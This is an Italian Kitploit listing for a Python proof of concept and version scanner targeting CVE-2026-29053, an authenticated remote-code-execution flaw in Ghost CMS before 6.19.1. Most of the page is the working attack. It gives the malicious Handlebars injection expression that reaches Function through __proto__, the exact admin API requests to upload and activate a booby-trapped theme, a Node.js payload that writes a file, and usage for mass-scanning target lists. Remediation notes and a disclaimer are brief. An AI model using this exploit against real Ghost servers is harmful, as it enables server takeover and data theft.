Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29053 — PoC Python e scanner di versione per CVE-2026-29053, un RCE autenticato in Ghost CMS precedente alla 6.19.1 tramite template di tema Handlebars malevoli. | Kitploit
Strumenti/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

PoC Python e scanner di versione per CVE-2026-29053, un RCE autenticato in Ghost CMS precedente alla 6.19.1 tramite template di tema Handlebars malevoli.

1215h 32m faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-29053 - Ghost CMS < 6.19.0 - Esecuzione Remota di Codice Autenticata tramite Tema Malevolo

CVE-2026-29053, riguarda il sistema di gestione dei contenuti Ghost basato su Node.js. Le versioni dalla 0.7.2 alla 6.19.0 sono vulnerabili a questo problema. Un tema malevolo può sfruttare questa vulnerabilità ed eseguire codice arbitrario sul server che esegue Ghost. La gravità di questa vulnerabilità è alta, con un punteggio CVSS di 7.6. Questo problema è stato corretto nella versione 6.19.1. Un attaccante che sfrutta con successo questa vulnerabilità può ottenere accesso non autorizzato al server e potenzialmente prenderne il controllo. Potrebbe quindi utilizzare questo accesso per manipolare dati, rubare informazioni sensibili o svolgere altre attività malevole. I prodotti/servizi interessati sono tutte le versioni di Ghost dalla 0.7.2 alla 6.19.0. Per mitigare questo rischio, gli utenti dovrebbero aggiornare le loro installazioni di Ghost alla versione 6.19.1 o successiva il prima possibile. Questo garantirà che la vulnerabilità sia corretta e non rappresenti più una minaccia. Se l'aggiornamento non è fattibile al momento, si raccomanda di monitorare attentamente eventuali nuovi sviluppi di questa vulnerabilità e applicare le necessarie misure di sicurezza per proteggersi da potenziali attacchi. Questa CVE non è attualmente elencata nel catalogo CISA Known Exploited Vulnerabilities (KEV), il che significa che non è stata attivamente sfruttata da attori malevoli. Tuttavia, gli utenti dovrebbero comunque dare priorità all'aggiornamento dei loro sistemi per prevenire qualsiasi potenziale rischio associato a questa vulnerabilità.

Un PoC in Python per CVE-2026-29053, una vulnerabilità di Esecuzione Remota di Codice in Ghost CMS causata da temi appositamente creati in grado di eseguire JavaScript arbitrario durante il rendering dei template.

Interessato: Ghost 0.7.2 fino a 6.19.0 Ghost CWE-74 — Neutralizzazione Impropria di Elementi Speciali nell'Output Utilizzato da un Componente a Valle

Corretto:
6.19.1
CWE:

L'advisory di Ghost descrive il problema come esecuzione di codice arbitrario tramite temi malevoli.


Qual è la vulnerabilità?

I temi di Ghost utilizzano template Handlebars (.hbs).

Un template appositamente creato può abusare del modo in cui Ghost elabora le espressioni Handlebars e accedere a funzionalità JavaScript che non dovrebbero essere raggiungibili da un normale template di tema.

La parte importante dell'exploit è l'espressione del template:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Il payload viene inserito nel template prima che il tema malevolo venga impacchettato.

Il template risultante viene quindi caricato e attivato tramite la Ghost Admin API.

Quando Ghost successivamente esegue il rendering del template interessato, l'espressione iniettata causa l'esecuzione del payload JavaScript all'interno del processo del server Ghost.


Il PoC implementa direttamente ciascuna di queste fasi.

Autenticazione

Il PoC stabilisce prima una sessione Ghost Admin autenticata.

L'endpoint rilevante è:

root@kitploit:~
POST /ghost/api/admin/session/

La richiesta generata dal PoC è equivalente a:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

Ghost restituisce il cookie di sessione autenticata.

Il PoC verifica la presenza di HTTP 201 e poi continua utilizzando lo stesso oggetto requests.Session().


Creazione del tema

L'exploit crea un archivio ZIP contenente un tema Ghost minimale.

I file importanti sono:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

Il template malevolo viene scritto in:

root@kitploit:~
page-rce.hbs

Il PoC costruisce l'archivio interamente in memoria utilizzando il modulo zipfile di Python.

Il package.json generato identifica l'archivio come un tema Ghost:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Template malevolo

La porzione vulnerabile del tema è l'espressione Handlebars all'interno di page-rce.hbs.

Il PoC genera:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

Il payload viene sostituito in %PAYLOAD% prima che il tema venga compresso.

Payload

Il PoC predefinito utilizza un payload di scrittura su file come prova non distruttiva dell'esecuzione del codice.

Genera JavaScript equivalente a:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

Questo dimostra che il payload viene eseguito all'interno del processo Ghost Node.js e può accedere alle funzionalità di Node.js.

Il PoC contiene anche una modalità callback opzionale per ambienti di laboratorio.


Caricamento del tema

Una volta generato il tema malevolo, il PoC lo invia a:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

La richiesta è un caricamento multipart form.

Concettualmente:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

L'archivio contiene il template .hbs malevolo descritto sopra.

Il PoC si aspetta HTTP 200 ed estrae il nome del tema restituito dalla risposta JSON.


Attivazione del tema

Dopo aver caricato il tema, il PoC lo attiva con:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

L'endpoint di attivazione viene costruito dinamicamente:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

L'exploit si interrompe se Ghost non restituisce HTTP 200.


Attivazione del template

Il PoC crea quindi una pagina pubblicata:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

Il codice utilizza lo slug:

root@kitploit:~
/rce/

Se la pagina esiste già, tenta invece di recuperare la pagina esistente.

Il trigger finale è semplicemente:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

Questo causa il rendering del tema attivo da parte di Ghost.

Il PoC verifica nell'HTML restituito la presenza di:

root@kitploit:~
CVE-2026-29053 trigger

per confermare che page-rce.hbs sia stato renderizzato.


Perché questo comporta RCE

La distinzione importante è che l'attaccante non sta semplicemente iniettando HTML in una pagina.

L'input malevolo diventa parte di un template di tema Ghost Handlebars.

Il template viene successivamente interpretato dal sistema di rendering lato server di Ghost.

L'espressione creata raggiunge funzionalità JavaScript attraverso la catena prototype/construction:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
JavaScript controllato dall'attaccante

Il JavaScript risultante viene eseguito nel processo del server Ghost.

Il PoC lo dimostra accedendo al modulo fs integrato di Node e scrivendo un file sul server.


Flusso delle richieste raw

Mettendo insieme l'interazione HTTP:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── autenticazione

2. POST /ghost/api/admin/themes/upload/
   └── caricamento malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── attivazione tema malevolo

4. POST /ghost/api/admin/pages/
   └── creazione /rce/

5. GET /rce/
   └── rendering pagina malevola page-rce.hbs
       └── espressione Handlebars
           └── esecuzione JavaScript
               └── impatto a livello di sistema operativo

Verifica della versione

Il PoC contiene anche uno scanner.

Richiede:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

La risposta viene analizzata per:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

Il PoC confronta quindi la versione con:

root@kitploit:~
0.7.2 <= version <= 6.19.0

e segnala le versioni corrispondenti come vulnerabili.

L'advisory pubblicato specifica l'intervallo interessato come >= 0.7.2, < 6.19.1, con 6.19.1 come versione corretta.


Utilizzo del PoC

Prova di scrittura su file

root@kitploit:~
python3 exploit.py --target http://TARGET

Il percorso di prova predefinito è:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

Può essere modificato con:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Installazione esistente

Se la configurazione di Ghost è già stata completata:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

Le credenziali possono essere fornite utilizzando:

root@kitploit:~
--email
--password

Scanner

I target possono essere forniti da un file:

root@kitploit:~
python3 exploit.py --file targets.txt

Numero di thread:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

Lo scanner verifica l'endpoint del sito Ghost Admin e confronta la versione di Ghost riportata con l'intervallo vulnerabile.


Impatto

Lo sfruttamento riuscito consente l'esecuzione arbitraria di JavaScript all'interno del processo del server Ghost.

A seconda dei privilegi del processo Ghost e del payload utilizzato, questo può influire su:

  • Riservatezza
  • Integrità
  • Disponibilità

Il record CVE pubblicato classifica il problema come raggiungibile via rete ma richiedente privilegi elevati e interazione dell'utente, con scope cambiato.


Remediation

Aggiornare Ghost a:

root@kitploit:~
6.19.1+

L'advisory sulla vulnerabilità di Ghost identifica 6.19.1 come la versione corretta.

Non installare temi non attendibili.


Disclaimer

Questo PoC è fornito per la ricerca sulle vulnerabilità, i test di penetrazione autorizzati e scopi educativi.

Scarica lo strumento